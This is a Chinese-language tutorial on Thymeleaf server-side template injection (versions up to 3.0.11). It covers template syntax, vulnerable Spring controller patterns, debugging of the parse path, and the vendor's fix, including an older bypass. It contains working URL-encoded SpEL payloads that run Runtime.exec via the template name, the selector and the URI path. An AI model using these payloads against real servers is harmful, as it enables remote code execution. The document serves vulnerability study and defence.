Thymeleaf 模板注入 ¶
约 1104 个字 156 行代码 预计阅读时间 8 分钟
Thymeleaf
是用来开发 Web 和独立环境项目的现代服务器端 Java 模板引擎,既适用于 web 环境,也适用于独立环境,比较适合当前的人员分工问题。其能够处理 HTML、XML、JavaScript、CSS 甚至纯文本。提供了一种优雅且高度可维护的模板创建方法,可以直接在浏览器中正确显示,也可以作为静态原型方便开发团队协作。
特点
- 动静结合: Thymeleaf 使用 html 通过一些特定标签语法代表其含义,但并未破坏 html 结构,即使无网络、不通过后端渲染也能在浏览器成功打开,当有数据返回到页面时,Thymeleaf 标签会动态地替换掉静态内容,使页面动态显示,大大方便界面的测试和修改。
- 开箱即用: Thymeleaf 提供标准和 spring 标准两种方言,可以直接套用模板实现 JSTL、 OGNL 表达式效果
- 与 SpringBoot 完美整合,SpringBoot 提供了 Thymeleaf 的默认配置,并且为 Thymeleaf 设置了视图解析器,我们可以像操作 jsp 一样来操作 Thymeleaf。除了模板语法外,代码几乎没有任何区别
基础语法 ¶
标识
为了区分 Thymeleaf 与普通 HTML 页面,Thymeleaf 的 html 要增加如下标识:
标签
标签 | 作用 | 示例 |
---|---|---|
th:id | 替换 id | <input th:id="${user.id}"/> |
th:text | 文本替换 | <p text:="${user.name}">bigsai</p> |
th:utext | 支持 html 的文本替换 | <p utext:="${htmlcontent}">content</p> |
th:object | 替换对象 | <div th:object="${user}"></div> |
th:value | 替换值 | <input th:value="${user.name}" > |
th:each | 迭代 | <tr th:each="student:${user}" > |
th:href | 替换超链接 | <a th:href="@{index.html}">超链接</a> |
th:src | 替换资源 | <script type="text/javascript" th:src="@{index.js}"></script> |
th:fragment | 片段 | <div th:fragment="header">header content</div> |
Tips
th:text
指令出于安全考虑,会把表达式读取到的值进行处理,防止 html 的注入。例如,<p>你好</p>
将会被格式化输出为$lt;p$gt;你好$lt;/p$lt
;。如果想要不进行格式化输出,而是要输出原始内容,则使用th:utext
来代替 .
链接
@{}
用于引用资源,可以是 static 目录下的文件,也可以是网络资源
<link rel="stylesheet" th:href="@{index.css}">
<script type="text/javascript" th:src="@{index.js}"></script>
<a th:href="@{index.html}">超链接</a>
变量
${}
用于引用变量
注意取 list 中的值需要用 th:each
进行枚举
*{}
为选择变量表达式,对选定的对象而不是整个上下文进行求值
<div th:object="${user}">
<p>Name: <span th:text="*{name}">赛</span>.</p>
<p>Age: <span th:text="*{age}">18</span>.</p>
<p>Detail: <span th:text="*{detail}">好好学习</span>.</p>
</div>
消息
#{}
用于引用外部消息,通俗而言就是引用配置文件中的值
片段
~{}
用于引用片段,可以引用其它页面中的部分代码
<!--template/footer.html-->
<div th:fragment="copy">
© 2011 The Good Thymes Virtual Grocery
</div>
<!--在其它页面引用-->
<div th:replace="footer :: copy"></div>
具体语法如下:
~{templatename::selector}
,会在/WEB-INF/templates/
目录下寻找名为 templatename 的模版中定义的 fragment,如上面的 ~{footer :: copy}~{templatename}
,引用整个 templatename 模版文件作为 fragment~{::selector}
或~{this::selector}
,引用来自同一模版文件名为 selector 的 fragmnt
预处理表达式
__${expression}__
预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式。
预处理也可以解析执行表达式,也就是说找到一个可以控制预处理表达式的地方,让其解析执行我们的 payload 即可达到任意代码执行
漏洞复现 ¶
可用版本
Thymeleaf <= 3.0.11
templatename¶
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}
/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
通过__${}__::.x
构造表达式由 Thymeleaf 去执行
selector¶
可控点变为了 selector 位置
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section; //fragment is tainted
}
/fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()%7d__::.x
Tips
没有 ::.x
也能触发执行
URI path¶
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__::.x
调试分析 ¶
调试前面部分 SpringMVC DispatcherServlet 流程参考:SpringMVC 视图渲染流程
进入 ThymeleafView#render
方法
public void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception {
this.renderFragment(this.markupSelectors, model, request, response);
}
protected void renderFragment(Set<String> markupSelectorsToRender, Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception {
ServletContext servletContext = this.getServletContext();
String viewTemplateName = this.getTemplateName();
ISpringTemplateEngine viewTemplateEngine = this.getTemplateEngine();
if (viewTemplateName == null) {
throw new IllegalArgumentException("Property 'templateName' is required");
} else if (this.getLocale() == null) {
throw new IllegalArgumentException("Property 'locale' is required");
} else if (viewTemplateEngine == null) {
throw new IllegalArgumentException("Property 'templateEngine' is required");
} else {
...
// 漏洞关键
if (!viewTemplateName.contains("::"))
{
templateName = viewTemplateName;
markupSelectors = null;
} else {
IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);
FragmentExpression fragmentExpression;
try {
fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");
} catch (TemplateProcessingException var25) {
throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
}
...
}
}
}
在判断模板名是否包含::
时,如果包含则会解析~{}
表达式,这里就是我们的可控点
跟入parseExpression
方法,最终会在org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression
进行解析
static IStandardExpression parseExpression(IExpressionContext context, String input, boolean preprocess) {
IEngineConfiguration configuration = context.getConfiguration();
String preprocessedInput = preprocess ? StandardExpressionPreprocessor.preprocess(context, input) : input;
...
}
parse 会首先对表达式进行预处理
static String preprocess(IExpressionContext context, String input) {
if (input.indexOf(95) == -1) {
return input;
} else {
IStandardExpressionParser expressionParser = StandardExpressions.getExpressionParser(context.getConfiguration());
if (!(expressionParser instanceof StandardExpressionParser)) {
return input;
} else {
Matcher matcher = PREPROCESS_EVAL_PATTERN.matcher(input); // 正则匹配预处理表达式
if (!matcher.find()) {
return checkPreprocessingMarkUnescaping(input);
} else {
StringBuilder strBuilder = new StringBuilder(input.length() + 24);
int curr = 0;
String remaining;
do {
remaining = checkPreprocessingMarkUnescaping(input.substring(curr, matcher.start(0)));
String expressionText = checkPreprocessingMarkUnescaping(matcher.group(1));
strBuilder.append(remaining);
IStandardExpression expression = StandardExpressionParser.parseExpression(context, expressionText, false);
if (expression == null) {
return null;
}
// 执行表达式,漏洞触发
Object result = expression.execute(context, StandardExpressionExecutionContext.RESTRICTED);
strBuilder.append(result);
curr = matcher.end(0);
} while(matcher.find());
remaining = checkPreprocessingMarkUnescaping(input.substring(curr));
strBuilder.append(remaining);
return strBuilder.toString().trim();
}
}
}
}
org.thymeleaf.standard.expression.VariableExpression#executeVariableExpression
使用SpEL执行表达式,触发任意代码执行。
对于 payload 3 有所不同的是,因为 Controller 没有 return,mv 返回值为空,所以 viewTemplateName 会从 uri 中获取,因此 uri 中的 ${document}
会被解析执行
修复措施 ¶
Thymeleaf 在 util 目录下增加了一个名为SpringStandardExpressionUtils.java
的文件,会对表达式先进行校验,具体代码如下:
code
public static boolean containsSpELInstantiationOrStaticOrParam(final String expression) {
String exp = ExpressionUtils.normalize(expression);
int explen = exp.length();
int n = explen;
int ni = 0;
int pi = 0;
while(n-- != 0) {
char c = exp.charAt(n);
if (ni >= NEW_LEN || c != NEW_ARRAY[ni] || ni <= 0 && (n + 1 >= explen || !Character.isWhitespace(exp.charAt(n + 1)))) {
if (ni > 0) {
n += ni;
ni = 0;
} else {
ni = 0;
if (pi >= PARAM_LEN || c != PARAM_ARRAY[pi] || pi <= 0 && (n + 1 >= explen || isSafeIdentifierChar(exp.charAt(n + 1)))) {
if (pi > 0) {
n += pi;
pi = 0;
} else {
pi = 0;
if (c == '(' && n - 1 >= 0 && isPreviousStaticMarker(exp, n)) {
return true;
}
}
} else {
++pi;
if (pi == PARAM_LEN && (n == 0 || !isSafeIdentifierChar(exp.charAt(n - 1)))) {
return true;
}
}
}
} else {
++ni;
if (ni == NEW_LEN && (n == 0 || !isSafeIdentifierChar(exp.charAt(n - 1)))) {
return true;
}
}
}
return false;
}
简要概括其检查逻辑为:
- 检查表达式中是否包含
new
关键字 T
要么在最开头,要么跟随一个合法的标识符([0-9a-zA-Z_])
Tips
在较早的修复版本中 T
的判断为是否和(
相连,因此可以在T
后面加上空格绕过,最新版经测试已不可用
参考资料 ¶
创建日期: 2024年8月8日 18:24:07